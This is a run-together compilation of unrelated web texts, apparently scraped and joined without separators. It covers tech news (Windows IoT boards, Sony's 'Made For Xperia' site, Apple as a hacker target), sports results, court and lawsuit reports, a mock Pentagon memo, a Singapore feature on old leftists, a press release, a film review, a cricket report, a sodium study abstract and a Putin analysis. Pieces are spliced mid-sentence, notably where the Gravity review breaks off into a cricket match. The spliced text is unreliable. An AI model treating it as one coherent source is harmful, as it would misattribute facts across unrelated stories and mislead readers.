Myerson said Microsoft is also offering a new version of Windows for smaller Internet of Things devices ranging from ATM machines to medical equipment thanks to partnerships with the Raspberry Pi Foundation, Intel, Qualcomm and others. Microsoft also unveiled Qualcomm's DragonBoard 410C for Windows 10 devices. It includes the first Windows 10 developer board that's integrated with Wi-Fi, Bluetooth and GPS, along with the Qualcomm Snapdragon 410 chipset.Magnifying glass clutched in his fist, Jordan Mang-osan uses nothing but focused rays of sunlight to burn detailed drawings onto panels of wood. A native Igorot from the Cordilleras of the Philippines, the artist draws inspiration for both his imagery and his unusual techniques from his heritage, using indigenous materials.
Other than a pencil used to draw on his initial designs, a magnifying glass is his only tool, and no paints or inks are required. Mang-osan holds the glass steady to burn one tiny detail at a time onto the wood.
It takes several months to complete a single work, slowly moving the glass just millimeters at a time in a technique that’s similar to pointillism. It’s another unusual way to harness the power of fire to make art – see 14 more pyro-centric sculptures and installations including ‘fire sculptures,’ portraits drawn in soot, and graffiti set ablaze.Wouldn't you like a website that is solely dedicated for your cellular device, showcasing the thousands of different third party accessories available with just a click? Sony has beat everyone to the punch with a website that is user friendly and highlights accessories made just for Xperia. The site is called "Made For Xperia" and it displays different products such as cases and screen protectors made exclusively for Sony Xperia devices. Keep in mind that these accessories are not made by Sony, but by third party designers. These companies included on the site are Case-Mate, Incipio, Krusell, Roxfit, Krisk, and White Diamonds. Sony Xperia users who wish to buy a product on the site will be directed to the third party companies website to purchase their accessories. When entering the site a disclaimer is present stating;
"Products introduced on this webpage are manufactured and sold by third parties. Such third party manufacturers are solely responsible for the sale, product assurance, support and customer services in accordance with terms and conditions provided by their own self. Sony Mobile assumes no warranty whatsoever with respect to such third-party products. Please contact the manufacturer directly for technical support and customer service."
The disclaimer pretty much explains that there aren't any ties between Sony and the third party manufactures. So if there are any problems with an item purchased, it falls back on the third party you bought the product from. The main purpose for this site is to highlight the many different third party products that are available for consumers to purchase for their Sony Xperia devices. The site allows people to explore, compare and price different accessories. Each listing has a reference price included. The Sony devices that have available products are the Sony Xperia Z2, Xperia Z2 Tablet, Xperia Z1, Xperia Z1 Compact and Xperia M2. Any devices before the Sony Xperia Z1 are not included on the site, as Sony will not add any accessories for older handsets. It is expected that more products will be added as newer Sony devices are released. As of right now the "Made For Xperia" website is available to buys across Europe.One of the key financial numbers is in from Floyd Mayweather vs. Conor McGregor.
The Aug. 26 boxing match made $55,414,865.79 in ticket sales at T-Mobile Arena in Las Vegas, MMA Fighting confirmed with the Nevada Athletic Commission (NAC) on Tuesday. The news was first reported by Jed I. Goodman on Twitter.
The figure is far below the record gate number produced by Mayweather’s fight with Manny Pacquiao in 2015, which generated $72,198,500 at the MGM Grand Garden Arena in Las Vegas for the sale 16,219 tickets.
Mayweather vs. McGregor sold 13,094 tickets with 137 complimentary tickets given out, the commission confirmed. T-Mobile Arena was configured to seat 17,698 spectators, according to the NAC.
Promoters were bullish on Mayweather vs. McGregor breaking the gate record. UFC president Dana White said two days before the fight that the gate was at $70 million. But it appears the mega bout fell short.
The other important metric — pay-per-view sales — has yet to officially come in. Showtime Sports executive Stephen Espinoza said Tuesday on The MMA Hour that MayMac is close to breaking the MayPac record in PPV buys, which was 4.6 million.
“We are now sort of mid-4 million,” Espinoza said. “If we see the kind of growth that we typically see, then we’ll break the record. I don’t want to assume we get the typical growth, because this is not a typical event. There are many different ways in which this event behaved differently. But we have a very good shot at breaking the record.”
The Saul “Canelo” Alvarez vs. Gennady Golovkin boxing match, which is set to take place Sept. 16 at T-Mobile Arena, is sold out and estimated at $30 million gross ticket sales. That will now be good enough for the third highest gate in Nevada history behind Mayweather-Pacquiao and Mayweather-McGregor.A Melbourne high school teacher has been jailed for three years for having a sexual relationship with a female student.
But controversy has erupted in the County Court this morning after the sentencing judge proposed to delay the start of the female teacher's sentence in case of an appeal.
Judge Michael McInerney this morning jailed the woman, 29, who can only be referred to as STC, for three years and ordered that she immediately serve eight months of that sentence with 28 months suspended.
STC pleaded guilty to committing an indecent act with a child aged 16 and four counts of sexual penetration of a child aged 16 under her care, supervision or authority.
In sentencing, Judge McInerney said the offences occurred between November 2010 and January 2011. He said that STC and the girl had had “an intense relationship” since at least March 2010.Apple is the new hacker bulls-eye
NEW YORK (CNNMoney.com) -- When Apple was just a niche maker of Mac computers and only truly popular among college students and graphic designers, hackers paid little attention to the company. Instead, they focused on Microsoft, which had more than a 90% share of the PC operating system market.
Those days are over. Recent iPad security scares are a sign that Apple's devices are a growing target for hackers, spammers and malicious coders.
"Market share is a pretty good indicator of who hackers are going after," said Kevin Haley, director at Symantec Security Response. "Hackers are motivated by money, so they want to get access to the most amount of people."
Hacker group Goatse Security was able to obtain 114,000 iPad 3G users' e-mail addresses and iPad SIM card ID numbers from AT&T's (T, Fortune 500) website last week. The vulnerability was on AT&T's site, but any hit against the iPad dings Apple as well.
And in a blog post, Goatse Security said Monday that a "skilled attacker" could take advantage of a weakness in the iPad's Safari Internet browser to launch a spam attack from a compromised iPad.
"This is a wake-up call for Apple, and it cannot afford to hit the snooze button," said Hemanshu Nigam, founder of SSP Blue, a cybersecurity consulting firm. "The hacker community focuses on companies that are on the top of their games. Apple has gained enough market share that it has caught hackers' attention."
It's not surprising that Apple is becoming a growing target -- it's simply a matter of scale. Cybercriminals try to hack the software that most people use to access the Internet, and increasingly, that software is made by Apple. While Apple's PC market share is still in the single digits, Apple is now the second largest smart phone maker in the United States, behind only BlackBerry maker Research in Motion (RIMM). It has also sold more than 2 million iPads in just two months.
"Any company's device or platform on which lots and lots of people are exchanging or storing data is going to be susceptible to an attack," said Fred Rica, principal security analyst at PricewaterhouseCoopers. "Hackers are beginning to change over to other platforms that hadn't been traditional targets, particularly to mobile."
Response is critical
As Apple (AAPL, Fortune 500) products become higher-profile targets, its response is going to be tested. The company's stance on security has long been "don't worry about it." For instance, on its website Apple says simply, "Mac OS X doesn't get PC viruses." The iPhone and iPad websites don't even mention security.
Apple claims that the Unix framework that its Mac operating system is built on is inherently safer than Windows. The truth is that Mac OS has as many vulnerabilities as Windows, according to Nigam -- Apple patches its products just often as Microsoft (MSFT, Fortune 500) does.
In the past, Apple has responded quietly when vulnerabilities are exposed, patching products through automatic updates with no announcement. The company's famous "Get a Mac" ads say Microsoft's constant security updates and alerts interfere with users' ability to do work on their computers. Ironically, Apple's Safari browser's lack of security alerts is one of the factors contributing to the security hole in the iPad, according to Goatse Security.
Apple did not respond to requests for comment.
"Suggesting Apple doesn't get viruses gives its users a completely false sense of security," Nigam said. "It's essentially taunting hackers. They'll take it as a challenge, and just start exploiting Apple's user base."
As a result, Nigam suggested it's time for Apple to change it's attitude. Right now, Apple prioritizes the user experience ahead of security. That can backfire.
"Apple has the capability to take charge of this situation now," he said. "If it doesn't, it's risking damage to its reputation for the long haul, a la Microsoft."Editor’s Note: This article differs from the regular format we use at Divergent Options per a request from Nate Freier of the Strategic Studies Institute at the U.S. Army War College. This article has the writer imagining that they are a Special Assistant to the U.S. Secretary of Defense (SecDef). The writer is responding to a request from the SecDef for a two page memo that defines or describes strategic and military risk and identifies national security situations that may take place from 2017 to 2027 that would require the U.S. Department of Defense to surge personnel or capability to address. The entire call for papers can be found here.
Brian Christopher Darling has served in the United States Army in Iraq, Afghanistan, and Qatar. He has master’s degrees in Liberal Studies and Public Service Leadership from Rutgers University and Thomas Edison State University, respectively. Mr. Darling is presently employed at Joint Force Headquarters, New Jersey National Guard. He can be found on twitter @briancdarling and has written for NCO Journal. Divergent Options’ content does not contain information of an official nature nor does the content represent the official position of any government, any organization, or any group.
20 February 2017
Dear Secretary Mattis,
The Department of Defense faces a number of significant challenges in the coming decade. Some of these situations involve familiar scenarios, some involve rising threats, and worst-case scenarios involve combinations of state and non-state actors and cyber warfare. Not all threats to national security come from outside influencers either as the current state of the economy places the entire Department on precarious footing. The purpose of this memorandum is to define strategic and military risk in the context of three areas that might well require a surge of United States armed forces.
It is prudent here to discuss risk assessment. Although the previous administration sought to create more multilateral relationships and to conclude contingency operations in Iraq and Afghanistan, the current President is faced with threats from an unstable North Korea, a resurgent Russia, and continued violence by state and non-state actors in CENTCOM. The scenarios discussed herein require major risk considerations in terms of force management risk (manpower and readiness), institutional risk (funding and logistics), and future challenges[1].
The first area where the United States may be obligated to commit additional forces is the Middle East, commonly referred to as the CENTCOM Theater. The Overseas Contingency Operations ongoing in CENTCOM drain manpower and readiness from forces which might otherwise be employed in EUCOM, PACOM, and elsewhere, thereby emboldening adversary states in those regions. Further, surging forces to existing contingency operation locations risks an appearance of impropriety by the United States through support of oppressive regimes with records of human rights violations[2].
By surging forces in CENTCOM, the United States demonstrates its continued commitment to stability in the region. Modular escalation of forces also serves to deter Iranian intervention in conflicts in Iraq and Syria[3]. A surge of forces to allied countries in the area would allow for rapid response to conflict within the region, to wit: the destruction of the Islamic State of Iraq and the Levant and ongoing conflicts with Al Qaeda and their affiliates and the Haqqani network[4], the conclusion of the first being a stated goal of the new administration.
A discussion involving the ongoing hostilities in Syria logically leads to a consideration of a rising hegemonic threat. This second possible area of consideration is the EUCOM Theater, involving a rising Russia and a surge of forces in Eastern Europe. By surging forces to Eastern European nations formerly associated with the Warsaw Pact, the United States risks escalating tensions with Russia. Further, reassigning forces from the pool available to CENTCOM creates an operational risk in the Middle East and a future challenges risk in both CENTCOM and PACOM.
A surge of forces in EUCOM would demonstrate the new administration’s continued commitment to NATO[5]. The President has previously publicly questioned the value of the alliance[6]; surging forces to counter Russian territorial expansion is a visible demonstration of the United States’ continued support of the existing international order. A surge of forces in EUCOM would also deter further Russian annexation of territory previously controlled by the former Soviet Union, as it has been aggressively active in previous years[7].
The final area where a surge of forces may be necessary is in South Korea, in the PACOM Theater. The North Korean regime has become increasingly unstable and its nuclear threat has become more volatile[8]. Surging forces to PACOM risks nuclear intervention by the unstable North Korean regime, as well as grating the Pakistanis and emboldening our Indian allies. Perhaps most significantly, a surge might also risk aggravating the United States’ relationship with China.
Demonstrating support of our allies in PACOM continues the themes of the previous administration’s pivot to the pacific. The President has continued to demonstrate an interest in improving America’s Pacific alliances[9]. The United States would provide a balance of power between the rising economies in the area and a hegemonic China. A surge presence in the Pacific theater would also reassure Taiwan, which might fear Chinese aggression[10], while also balancing potential conflicts between India and Pakistan[11].
Given the current manpower of the armed forces, any of the options above present an unsustainable future challenges risk to the Department of Defense. Consideration must also be given to the condition of the platforms available to the services; the Air Force and Navy are currently dealing with issues regarding decades-old weapons platforms[12]. Although the President has sought more cost-effective relationships with vendors[13], there is a long-term institutional risk to development and acquisitions.
Endnotes:
[1] Gates, R. (2010). Quadrennial defense review. Washington, DC.
[2] Dorsey, James. (2017 January 18). “Qatar’s Backtrack On Labor Rights And Cooperation With Russia Reflects New World Order”. Retrieved from http://www.huffingtonpost.com/entry/qatari-backtracking-on-labour-rights-and-cooperation_us_587c5ef5e4b077a19d180f56
[3] Bar’el, Zvi. (2017, Feb 11). “In Iraq, the U.S. Invests, ISIS Loses and Iran Gains”. Retrieved from http://www.haaretz.com/middle-east-news/iraq/.premium-1.770944
[4] Lamothe, D. (2017 February 9). “Top U.S. commander in Afghanistan opens door to a ‘few thousand’ more troops deploying there”. Retrieved from https://www.washingtonpost.com/news/checkpoint/wp/2017/02/09/top-u-s-commander-in-afghanistan-opens-door-to-a-few-thousand-more-troops-deploying-there/
[5] Smith-Spark, L., and A. Shubert. (2017, January). “Poland welcomes thousands of US troops in NATO show of force”. Retrieved from http://www.cnn.com/2017/01/14/europe/poland-us-troops-nato-welcome/
[6] Gordon, M.R. (2017, January 15). “Trump Criticizes NATO and Hopes for ‘Good Deals’ With Russia”. Retrieved from https://www.nytimes.com/2017/01/15/world/europe/donald-trump-nato.html?_r=0
[7] Dews, F. (2014, March 19). “NATO Secretary-General: Russia’s Annexation of Crimea is illegal and illegitimate”. Retrieved from https://www.brookings.edu/blog/brookings-now/2014/03/19/nato-secretary-general-russias-annexation-of-crimea-is-illegal-and-illegitimate/
[8] BBC News. (2017, February 12). “North Korea ballistic missile test sparks condemnation” Retrieved from http://www.bbc.com/news/world-asia-38950733
[9] Reuters. (2017, February 11). “Trump and Japan’s Abe take a swing at golf diplomacy”. Retrieved from http://www.cnbc.com/2017/02/11/trump-and-japans-abe-take-a-swing-at-golf-diplomacy.html
[10] Graham-Harrison, E. (2017, February 4). “Islands on the frontline of a new global flashpoint: China v Japan”. Retrieved from https://www.theguardian.com/world/2017/feb/05/china-v-japan-new-global-flashpoint-senkaku-islands-ishigaki
[11] IANS. (2017, February 12). “Pakistan sounds alarm over ‘nuclearisation’ of Indian Ocean by India”. Retrieved from http://www.hindustantimes.com/world-news/pakistan-sounds-alarm-over-nuclearisation-of-indian-ocean-by-india/story-Hdp49Lb4wpsPHYhbjs8A1M.html
[12] Serbu, J. (2017 February 8). “Military readiness problems can’t be fixed overnight, Defense chiefs warn”. Retrieved from http://federalnewsradio.com/defense/2017/02/military-readiness-problems-cant-fixed-overnight-defense-chiefs-warn/
[13] Cohen, Z. (2017 February 4). “After Trump attack, Lockheed Martin slashes F-35 cost”. Retrieved from http://www.cnn.com/2017/02/03/politics/f-35-lockheed-martin-cost-reduction/Female deputy sues for $50m after topless photos of her used in pedophile internet sting 'were passed around the station'
A female police officer is suing for $50m in compensation after claiming topless photos taken of her for a pedophile sting operation were viewed by others after being loaded on a detective's laptop computer.
Deputy Krystal Rice, from Watertown, New York, agreed to pose for the photos to help out in an undercover investigation into online predators but only did so on the promise they would be returned.
She posed as a 15-year-old schoolgirl for the risqué photos - which showed her topless with her hands across her breasts - which were sent to men targeted as part of a police sting operation on pedophiles.
Suing: Deputy Krystal Rice has filed a $50 million lawsuit for defamation and intentional infliction of emotional distress Workplace: Krystal Rice said the pictures remained on the sheriff's computer and were passed around the station, pictured, for months afterwards
But despite agreeing to let the photos be used, Rice claims she was never allowed to get them back and her repeated demands for a CD containing the photos to be returned were rebuffed.
In a 45-page lawsuit she claims others at her police station had access to the photos.
It says Rice 'feels dirty, exposed and extremely embarrassed by these events and incidents'.
Rice claims that Detective Steve Cote, who took the photos in 2006, put them on his laptop where they could have been seen by everyone in the sheriff's office in Watertown.
She said she agreed to pose as the schoolgirl in return for signing a contract that gave her ownership of the photos.
Blame: Deputy Krystal Rice filed the $50 million lawsuit against Sheriff John Burns, pictured, Lt Michael Peterson and Detective Steve Cote
Target: Lt Michael Peterson who is also named in the lawsuit for causing emotional distress on Krystal Rice and defaming her
But the lawsuit claims Cote began harassing Rice, sending her text messages and spreading stories about the break-up of her marriage.
Her lawyer Charu Narang said: 'It didn’t stop at the photos. There was harassment, isolation, marginalization in the workplace also because she refused to go along with the advances that he had made to her and there were rumors being spread about her personally and professionally.'
In the lawsuit, Rice claims that when she started to complain about Cote she was warned the Sheriff's Office was a 'good old boys club' and that nothing would change.
The lawsuit says: 'Rice left the text messages unreported until March 2009, at which time Rice received a phone call from a man with whom she was having a relationship with.
'He informed her that Detective Cote had told his mother that Rice "slept with half the department and if your son has had any sort of contact with her you need to tell him that he needs to have him tested". '
Rice has filed a $50 million lawsuit against Sheriff John Burns, Lt Michael Peterson and Detective Steve Cote for defamation and intentional infliction of emotional distress.Once a year, a group of geriatric leftists gathers to talk politics over roast chicken and bowls of (imitation) shark fin soup.
Hundreds of aging leftists gather in a restaurant tucked away in an obscure corner of an old shopping complex. They talk, shout, argue, and rant about the government. One of them goes onstage and demands political change in the next elections; he is greeted with raucous applause and loud cheers.
The attendees are mostly in their seventies or eighties. Several lean on spouses, children, or canes as they hobble to and from their seats. The restaurant staff has to make way for a wheelchair or two as they weave between the tables filling glasses with tea or orange juice.
The third day of Chinese New Year marks the annual lunch gathering of the Old Left in Singapore. Members of the leftist movement of the 1950s and 1960s—former student activists, union workers, and politicians—meet to reminisce about the good old days. It’s been such a long-standing tradition that some have lost count of how many they’ve attended.
“Since the 1980s, I would say,” says 80-year-old Loh Miaw Gong, a tiny white-haired lady who switches between Mandarin and English with ease. “Unless I’ve had really urgent matters to attend to, I’ve attended every year.”
This assembly represents a slice of Singapore history omitted from school textbooks. Largely Chinese-educated, these senior citizens were once at the forefront of the anti-colonialist movement on which the still-ruling People’s Action Party (PAP) rode to prominence and, ultimately, victory. Many of them paid a high price for their efforts, too, through arrests and detentions carried out by the colonial government, and later by the PAP itself under its indomitable leader, Lee Kuan Yew. Lee went on to be Singapore’s Prime Minister for over three decades.
Members of the old leftist movements in Singapore have met for lunch on the third day of Chinese New Year, every year, for decades. All photos by Kirsten Han
Both the PAP and Lee played major roles in making Singapore what it is today, so much so that it is often difficult to separate the actions and decisions of the politicians from the trajectory of the nation. The party has won every election since the country’s first in 1959, and it continues to fill the vast majority of seats in Parliament.
Yet it is not without controversy. Critics have criticized the ruling party for clamping down on civil liberties—Singaporeans generally do not have freedom of assembly for protests and demonstrations, and censorship is common. Some point to the early arrests of the leftists as the first salvo in a series of actions that have diminished civil liberties in the tiny island nation.
Remembrance of this tumultuous period has become particularly sensitive this year. The government is going all out to celebrate Singapore’s fiftieth year of independence under the “SG50” banner. Many aspects of the “Singapore story” are being emphasized, but these leftists are unlikely to get much recognition. As it is, most young Singaporeans know next-to-nothing about the leftist’s role in the nation’s history.
The PAP insists that sweeps such as Operation Coldstore in 1963—in which over a hundred individuals were detained without trial were necessary to contain the communist threat and protect Singapore. Historians who have suggested that the arrests were politically-motivated have been branded “revisionists,” their analysis countered with the erection of memorials and the republishing of Lee Kuan Yew’s old radio talks on the dangers of communism and the need for a merger with Malaysia. Singapore’s current Prime Minister Lee Hsien Loong (the son of Lee Kuan Yew), who has governed since 2004, himself drew the link between questioning the narrative and questioning the legitimacy of the ruling party.
Members of the old left show off their musical skills during lunch, singing the old songs of their youth.
But these old school leftists have stuck together with remarkable solidarity. There are over 30 tables laid out in the restaurant, each accommodating ten people, and they fill up fast. I’m told the crowd grows every year; old factions and rivalries fade away, leaving only the memory of a shared struggle. Their refusal to give up and forget is their final act of defiance of the state-led amnesia.
They’ve even put together a new book for the occasion: a collection of historical documents and writing on Singapore’s short-lived merger with Malaysia in the 1960s. But publication costs have led to some documents being presented in rather small print, and it’s suggested to the assembled old folks—with apologies, of course—that they read the book with a magnifying glass.
“People wonder what brought us together. I believe the answer lies in a common suffering. We have been thrown into jail for months, years, because of a draconian law invoked by the party in power,” says 76-year-old Tan Kok Fang during his speech at the beginning of the meal.
Tan himself was arrested in 1963 under Operation Coldstore, and was detained for four-and-a-half years. He had been the external affairs secretary of the student union in a Chinese-language university known for its left-leaning student activism. “I had just graduated from Nanyang University. I didn’t even make it to my convocation!” he recalls.
76-year-old Tan Kok Fang (second from right) tosses yusheng as part of a Chinese New Year tradition at the annual leftist luncheon.
“It was the spirit of the time,” he adds. “Young people across the world were fighting the colonialists, and I wasn’t any different from a young person in Africa or South America. I am not a communist, but I felt, as a young man, we should do something for our country.”
Loh Miaw Gong spent even longer in detention. She was first arrested as a student activist in 1956, and was detained for about three years. Her defense lawyer was Lee Kuan Yew himself, then a young politician and legal advisor to trade and student unions. “He defended me. He said the charges were baseless,” she says.
In 1963 she stood as a candidate in the general elections as a member of Barisan Sosialis, a party set up by former PAP members who left the PAP due to ideological differences. She beat three other candidates to become an elected Member of Parliament, but never took possession of her seat.
“I was elected in mid-September. In early October I was taken in for my free meals,” she says wryly, referring to her arrest and subsequent detention of over six years. Her former defense lawyer, she added, arrested her on similar grounds to those he had argued against less than a decade earlier.
Loh Miaw Gong, 80, beat three other candidates in the 1963 General Elections to become Member of Parliament for Havelock. But she never took possession of her seat: she was arrested in October that same year and detained without trial for over six years.
As with all Chinese banquets, courses are brought out one-by-one, and attendees make conversation at their table as they toss the traditional Chinese New Year yusheng—a raw fish salad—and enjoy the fried prawns, braised vegetables, and roast chicken. The consensus is that the per-head cost of the lunch isn’t expensive enough for it to be real fin. On stage, performers take turns singing old favorites, buoyed by the support and enthusiastic applause of their comrades.
The high point comes as the last courses are cleared away, and a line of singers file on to the stage. Lyrics, all in Mandarin, had been distributed to each table beforehand. Some reach for reading glasses while others squint at the sheet; as the choir belts into the microphones, it’s impossible to do anything but listen or sing.
Then comes the final song, and printed lyrics are no longer needed. Every leftist worth his or her salt knows this one. A man pops up from his seat, clapping his hands over his head as he shouts the lyrics: “Unity, unity is strength!” It is, as far as I can tell, the Mandarin version of the famous union anthem “Solidarity Forever.”
“Tuan jie shi li liang! (Unity is strength!)” another elderly man bellows as the song ends, pumping his fists over his head.
A small choir onstage leads their friends and colleagues in a singalong of Chinese songs popular in their youth.
Nothing will bring back the Singapore of their youth. Too much has changed, and not all for the worse. Many assembled will readily admit that the city has made impressive gains in the past fifty years.
But progress and development is not the be-all-end-all for a young nation grappling with its identity and past. “It’s good that the government wants to recognize the pioneers of Singapore,” said 60-year-old Ravi Sharma, whose father was a member of the controversial Communist Party of Malaya. He gestures at the elderly men and women, slowly trickling out of the restaurant at the end of the meal. “But they can’t just start from 1965. There were so many before, and they lay the foundation.”
When asked about her impression of a 50-year-old sovereign Singapore, Loh laughs and looks into the distance, thinking. “What should I say about this? I have so many feelings about Singapore and our fiftieth anniversary.” She’s almost speaking to herself.
Then she gathers her thoughts and looks me in the eye. “What we are most angry, most upset about is that they’re not only denying our contribution, but saying we threatened the nation. Lee Kuan Yew rose on the back of the students’ sacrifice.”
She nods, a little old lady still hurting from a decades-long sense of betrayal. She bids me farewell, and rushes off to say goodbye to an old friend for another year.Silver Spring’s IPv6-Based Smart City Infrastructure Platform to be Deployed in the “City of Lights”
Redwood City, CA – May 15, 2013 – Silver Spring Networks, Inc. (NYSE: SSNI), a leading networking platform and solutions provider for smart energy networks, today announced that it has been selected by Evesa for an advanced streetlight and traffic signal management project in the City of Paris as the city seeks to reduce its public lighting energy consumption by 30% over the next 10 years. This is the first in a multi-step process that the “City of Lights” is undertaking to manage a complex array of thousands of streetlights, streetlight control boxes, traffic signal control boxes, and other elements of Paris’ public lighting and traffic control infrastructure.
“We’re honored to deploy our intelligent streetlights solution in such an iconic and innovative city as Paris – their pioneering Smart City efforts are poised to deliver even greater value to their citizens,” said Scott Lang, Chairman, President and CEO of Silver Spring Networks. “Extending our proven IPv6 platform to a diversity of Smart City solutions expands the value we deliver, driving increased energy efficiency and improved safety for cities and their citizens.”
Silver Spring provides a high-performance IPv6-based network that establishes a communications foundation for a city’s assets regardless of distribution topology. Silver Spring is expanding the functionality of its smart infrastructure platform to support Smart City solutions such as intelligent street lighting, traffic signal control, and electric vehicle charging, among others. For more information please see www.silverspringnet.com/solutions.
Silver Spring has partnered with Streetlight Vision, a leader in public lighting control software applications, to provide a complete solution to meeting operators’ needs for improved lighting control and monitoring.
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Silver Spring Networks is a leading networking platform and solutions provider for smart energy networks. Silver Spring’s pioneering IPv6 networking platform, with 16.5 million Silver Spring enabled devices delivered, is connecting utilities to homes and business throughout the world with the goal of achieving greater energy efficiency for the planet. Silver Spring’s innovative solutions enable utilities to gain operational efficiencies, improve grid reliability, and empower consumers to monitor and manage energy consumption. Silver Spring Networks customers include major utilities around the globe such as Baltimore Gas & Electric, CitiPower & Powercor, Commonwealth Edison, CPS Energy, Florida Power & Light, Jemena Electricity Networks Limited, Pacific Gas & Electric, Pepco Holdings, and Progress Energy, among others. To learn more, please visit www.silverspringnet.com.
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This press release contains forward-looking statements about Silver Spring Networks’ expectations, plans, intentions, and strategies, including, but not limited to statements regarding the scope and duration of Silver Spring’s project with Evesa and the City of Paris. Statements including words such as “anticipate”, “believe”, “estimate”, “expect” or “future” and statements in the future tense are forward-looking statements. These forward-looking statements involve risks and uncertainties, as well as assumptions, which, if they do not fully materialize or prove incorrect, could cause our results to differ materially from those expressed or implied by such forward-looking statements. The risks and uncertainties include those described in Silver Spring Networks’ Form 10-Q for the quarter ended March 31, 2013 filed with the Securities and Exchange Commission. All forward-looking statements in this press release are based on information available to Silver Spring Networks as of the date hereof. Silver Spring Networks assumes no obligation to update these forward-looking statements.Realistically terrifying (Image: Courtesy of Warner Bros Pictures)
It’s the dawn of civilian space flight – what better time to scare the wits out of any would-be space tourist thinking of remortgaging to buy a ticket to orbit? Gravity, the new film from Children of Men director Alfonso Cuarón, does that in spades – and in captivating 3D.
Life in space is no picnic. If the unforgiving vacuum doesn’t get you, you’re at risk from the hypersonic speeds of orbiting objects and the burgeoning space junk we have abandoned in Earth orbit. Never before has a movie set in space made the dangers so viscerally plain.
This high-tech tale of orbital adversity, apparently set in the near future, kicks off with three spacesuited astronauts working on the Hubble Space Telescope, which they have docked to a still-in-service space shuttle. When a spectacular and brilliantly portrayed cosmic catastrophe destroys the shuttle (and, yes, Hubble too, telescope fans) two of the astronauts – played by Sandra Bullock and George Clooney – are left adrift to navigate a hazardous orbital scrapyard.
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Watching the pair cope with their oxygen running out as they strive to reach other spacecraft for safety is |
arm spin.It was Yuvraj who finally broke the 62-run third wicket partnership which was assuming dangerous proportions by dismissing Sangakkara who tried to cut a wide ball outside the off stump but only succeeded in edging the ball to Dhoni behind the stump. His knock of 48 came off 67 balls and contained five boundaries.It was left to the well-settled Jayawardene to hold the innings together and he found an able ally in Thilan Samaraweera to take the Sri Lankan total close to the 180 mark.Yuvraj was again instrumental in breaking the fourth- wicket partnership by accounting for Samaraweera. Umpire Simon Taufel turned down the leg before appeal but the Indians went for the referral and television replays showed that the ball would have hit the stumps.New batsman Chamara Kapugedera did not survive long as he offered a simple catch to Suresh Raina at extra cover off a slower delivery from Zaheer, leaving the visitors in a spot of bother at 182 for five.Jayawardene and Nuwan Kulasekara then teamed up ensure that Sri Lanka had a competitive total on the board as they went about accumulating runs in the batting powerplay, which was taken in the last five overs.Mahendra Singh Dhoni (capt), Virender Sehwag, Gautam Gambhir, Sachin Tendulkar, Virat Kohli, Yuvraj Singh, Suresh Raina, Harbhajan Singh, Zaheer Khan, Shanthakumaran Sreesanth, Munaf Patel.Kumar Sangakkara (capt), Mahela Jayawardene, Upul Tharanga, Tillakaratne Dilshan, Thilan Samaraweera, Chamara Kapugedera, Suraj Randiv, Thisara Perera, Nuwan Kulasekara, Lasith Malinga, Muttiah Muralitharan.Simon Taufel (AUS) and Aleem Dar (PAK)Ian Gould (ENG)Jeff Crowe (NZL)Efforts to sharpen the focus of sodium reduction strategies include identification of major food group contributors of sodium intake. Although sandwiches are a staple of the American diet, previous examinations of their contribution to sodium intake captured only a small subset of sandwiches. One day of dietary intake data from 5,762 adults aged 20 years and older in What We Eat in America, National Health and Nutrition Examination Survey 2009-2010 was analyzed. Sandwiches were defined in a manner that more accurately reflected their frequency of consumption. Two-sided t tests were used to compare percentages of men and women reporting sandwiches; contributions of sandwiches to energy and sodium intakes (amounts in kilocalories and milligrams, respectively, and percent of daily totals) by sex; and total energy, total sodium, and sodium density (mg/1,000 kcal) by sandwich reporting status (reporter/nonreporter). On any given day, 49% of American adults ate sandwiches. A significantly higher percentage of men than women reported sandwiches (54% vs 44%, respectively; P<0.001), and sandwiches accounted for higher percentages of men’s total energy and sodium intakes. Compared with individuals who did not report a sandwich on the intake day, sandwich reporters had significantly higher energy and sodium intakes; however, sodium density of the diet did not vary by sandwich reporting status. Although much national attention is appropriately focused on reducing sodium in the food supply, consumer choices still play a vital role. Due to sandwiches’ frequent consumption and considerable contributions to sodium intake, substituting lower-sodium for higher-sodium ingredients in sandwiches could significantly influence sodium intakes.39 x 19,5cm, graphite pencils on paper, 2012I actually finished a drawing - a rare feat for me latelyThis is for my school's autumn critique, themed "border / borderless". This is an optimistic view on the boundaries of humanity: our time is limited, but what we achieve in that time is up to ourselves. More or less consciously each of us sets our own boundaries. A case could be made for a negative approach as well, and I intended to draw that too, but couldn't do it for this critique, still plan on doing it later. My goal from the beginning was to create an image with simple, yet powerful symbolism. Is it a success or is it lacking? I would really appreciate your opinions on this.I can't say that I didn't have enough time for this piece, but parts of it are rushed and I think I could do better but, no excuses this time. All comments, questions and feedback are very welcome! Thanks for lookingby Gordon M. Hahn
Some, especially many of his compatriots, acclaim Russian President Vladimir Putin is a strategic (and tactical) genius. By contrast Western observers presuppose less competence. The most said by the latter is that he is a kind of evil genius or that he runs circles around US President Barack Obama.
Putin may not be a strategic genius, but he is strategically competent. He is also tactically unpredictable, even brilliant. Let’s look at the record.
Putin as Foreign Policy Strategist
The first thing that needs to be stressed is that Putin has no grand strategy, no less one to ‘reestablish the Tsarist or Soviet empire.’ Such claims are delusions, paranoia, and/or well-compensated stratcomm. His goal is to ensure Russia’s status as a global power, one of several great powers in Eurasia writ large, and the indispensable country for any other pursuing a presence in central Eurasia – the former USSR.
But there is no sure-fire strategy for achieving this goal other than that established before Putin’s rise to the Russian presidency by then Russian Foreign Minister, the late Yevgenii Primakov. The ‘Primakov doctrine’ or strategy was the pursuit of a multipolar world through a ‘multi-vector’ or multi-directional foreign policy that took seriously the Russian state emblem of the double-headed eagle looking both east and west.
Putin continued and developed Primakov’s line, but he did not devise it. The robustness of the Sino-Russian strategic partnership and the Kremlin’s own ‘Asian pivot’ is certainly Putin’s work as well, but was a logical direction under ‘multipolarism’ and a strategy of necessity given growing tensions with the West.
Indeed, Putin has developed effective, flexible strategies for pursuing and deepening Russia’s presence in every region of the world. His multilateral strategies possess geographical multi-directional and functional multidimensional aspects and growth potential. BRICS – with a country on each continent – is a strategic achievement and perhaps Putin’s most innovative. Although increasingly Sino-centric, it was Putin who proposed the BRICS idea, and he has persistently pursued its geographical and functional expansion. The organization is positioning itself as the foundation for an alternative global financial and trading system to that presently dominated by the US, EU, IMF, World Bank and other players.
The Eurasian Economic Union (EEU) is Putin’s variation on the failed CIS and his multipolar strategy for the Eurasian region within the larger global multipolar strategy. It has much less to do with imperialistic Eurasianist geostrategic thought than with an economic development strategy for Eurasia in which Russia becomes a transportation and trade hub for this mega-region, which is also intended to be a bridge between the Asian Pacific region and Europe. Russia’s geographic comparative advantages make this a sound strategy.
